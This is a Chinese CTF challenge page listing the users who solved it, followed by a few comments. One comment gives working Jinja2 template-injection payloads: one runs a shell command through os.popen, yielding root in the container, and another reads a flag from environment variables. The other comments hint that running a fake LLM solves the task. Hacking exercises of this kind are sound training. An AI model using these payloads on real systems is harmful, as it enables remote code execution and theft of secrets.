评分(0)
暂无评分
解题动态
小楼一夜听春雨 攻破了该题 2天前
能工智人 攻破了该题 2天前
hdcc1 攻破了该题 5天前
flagsbugku 攻破了该题 7天前
CTF-大王 攻破了该题 10天前
小白修炼日常 攻破了该题 15天前
xmai001 攻破了该题 19天前
星宇Sec 攻破了该题 20天前
香克斯呀 攻破了该题 22天前
爹地 攻破了该题 22天前
mahiru 攻破了该题 22天前
shylock 攻破了该题 22天前
Lazzaro 攻破了该题 22天前
Kur0Ai1uro. 攻破了该题 22天前
兰小方 攻破了该题 22天前
fenghuai333 攻破了该题 22天前
mystery 攻破了该题 22天前
加州故事 攻破了该题 22天前
评论
mahiru 22天前
举报
神了 自启一个假 LLM就行了
mystery 22天前
举报
没有apikey其实也能做
加州故事 22天前
举报
造一个就解出来了RCE：{{ lipsum.__globals__.os.popen("id").read() }} → uid=0(root)，容器内 root；取 flag：{{ cycler.__init__.__globals__.os.environ.get("GZCTF_FLAG") }}